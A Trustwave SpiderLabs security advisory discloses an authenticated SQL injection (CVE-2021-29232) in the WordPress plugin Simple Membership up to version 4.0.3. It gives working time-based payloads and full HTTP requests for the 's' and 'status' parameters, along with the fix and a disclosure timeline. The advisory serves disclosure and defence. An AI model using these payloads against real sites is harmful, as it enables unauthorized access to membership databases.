Trustwave SpiderLabs Security Advisory TWSL2021-006: SQLi in WordPress Plugin Simple Membership Published: 04/05/2021 Version: 1.0 Vendor: https://profiles.wordpress.org/smp7/ https://profiles.wordpress.org/wpinsider-1/ Product: WordPress Plugin Simple Membership Version affected: <= 4.0.3 Product description: The plugin provides functionality for managing users, including with features like membership levels. Finding 1: WordPress Plugin Simple Membership <= 4.0.3 Authenticated SQL Injection *****Credit: Martin Vierula of Trustwave CVE: CVE-2021-29232 CWE: CWE-89 Multiple parameters are vulnerable to authenticated (admin+) SQL injection. The following PoC outlines a time-based version of exploiting the vulnerability in the 's' parameter. Create at least one real member. In the 'Members' page, paste the following into the search text field and then click the 'Search' button: hhhh' OR SLEEP(1) OR first_name LIKE '%i One can see the different delays by changing the above to be 2 seconds instead: hhhh' OR SLEEP(2) OR first_name LIKE '%i Note that, if doing more than one trial through the browser, the entered text will have been altered to escape some characters. To do another trial of the PoC, make sure you either amend the input or just paste the entire desired content from scratch. The PoC can also be done with a tool like Burp Suite with a request like: GET /wp/wp-admin/admin.php?status=&membership_level=&s=hhhh%27%20OR%20SLEEP%281%29%20OR%20first_name%20LIKE%20%27%25i%0A&page=simple_wp_membership HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp/wp-admin/admin.php?page=simple_wp_membership Connection: keep-alive Cookie: Upgrade-Insecure-Requests: 1 In addition to the 's' parameter, the 'status' parameter is similarly vulnerable: GET /wp/wp-admin/admin.php?status=active%27%20AND%20SLEEP%288%29%20AND%20%27a%27%3D%27a&membership_level=&s=&page=simple_wp_membership Remediation Steps: Upgrade to WordPress Plugin Simple Membership 4.0.4 or the latest stable version. Revision History: 03/09/2021 - Vulnerability disclosed to vendor 03/12/2021 - Patch released by vendor 04/05/2021 - Advisory published References 1. https://wordpress.org/plugins/simple-membership/#developers About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.